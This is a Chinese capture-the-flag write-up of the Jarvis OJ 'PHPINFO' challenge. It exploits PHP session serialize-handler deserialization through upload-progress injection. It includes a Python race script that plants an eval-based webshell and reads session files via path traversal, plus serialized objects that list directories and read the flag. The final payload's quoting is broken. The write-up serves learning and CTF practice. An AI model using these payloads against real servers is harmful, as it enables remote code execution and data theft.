Jarvis-PHPINFO源码+题目分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
|
分析:这里明显需要控制mdzz参数,但是唯一输入的phpinfo参数做不到这一点,此时注意到第二行的ini_set('session.serialize_handler','php')
,php大于5.5.4的版本都默认使用php_serialize规则,而这里特意使用了php规则,序列化与反序列化的处理器不同会导致反序列化漏洞
反序列化漏洞+上传进度支持漏洞
反序列化漏洞
处理器 |
对应的存储格式 |
php |
键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary |
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize(php>=5.5.4) |
经过 serialize() 函数反序列处理的数组 |
通过ini_set(‘session.serialize_handler’,’php’)来设置处理器
因此假如我们用默认的php_serialize处理器进行序列化并且在前面加上”|”处理,再用php处理器进行反序列化,我们就可以构造任意的值
例子:
传入session的格式
1
| $_SESSION['ryat'] = 'a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}'
|
如果php_serialize序列化再用php反序列化,那么反序列化后的数据就会变成:
1 2 3 4 5 6
| array(1) { ["a:1:{s:4:"ryat";s:20:""]=> object(stdClass)#1 (0) { } }
|
可以看到,通过注入|
字符伪造了对象的序列化数据,成功实例化了 stdClass 对象
接下来就需要一个写入数据的地方
上传进度支持(Upload progress in sessions)
原理:https://www.freebuf.com/news/202819.html
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import io import sys import requests import threading
sessid = 'Qftm'
def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.33.6.145/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} )
def READ(session): while True: response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0)
with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start()
READ(session)
|
当一个上传在处理中,同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,所以可通过 session.upload_progress 来设置 session。
这里开启了session.upload_progress.enabled,并且知道了session.uplpad_progress.name因此可以构造一组相同名字的session.uplpad_progress.name,然后再上传另一组我们自己构造的paylaod,这样就可以注入我们自己的OowoO对象,在通过反序列化漏洞,这样就可以控制$mdzz参数了
解题
构造一组用于post的数据,这里选择file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
|
然后构造用php_serialize处理器(默认就是php_serialize)处理的OowoO对象
1 2 3 4 5 6 7 8 9
| <?php ini_set("session.serialize_handler","php_serialize"); session_status(); class OowoO { public $mdzz = 'print_r($_SESSION)'; } $m = new OowoO(); echo serialize($m);
|
注意这里要加上cookie,不然就一直成功不了(血的教训…)
结果:
可以看到这里测试成功,就可以构造OowoO对象查看当前目录的文件了
1 2 3 4 5 6 7 8 9
| <?php ini_set("session.serialize_handler","php_serialize"); session_status(); class OowoO { public $mdzz = 'print_r(scandir(dirname(__FILE__)))'; } $m = new OowoO(); echo serialize($m);
|
结果:
查看Here_1s_7he_fl4g_buT_You_Cannot_see.php文件,这里需要注意的是file_get_contents()函数需要绝对路径,这时想到phpinfo.php里面有路径,可以搜索DOCUMENT_ROOT
看到路径是/opt/lampp/htdocs
因此我们下一步就可以查看flag文件了
1 2 3 4 5 6 7 8 9
| <?php ini_set("session.serialize_handler","php_serialize"); session_status(); class OowoO { public $mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'; } $m = new OowoO(); echo serialize($m);
|
参考链接
- PHP可以告诉我什么
- 从session角度学习反序列化
- PHP_UPLOAD_PROGRESS利用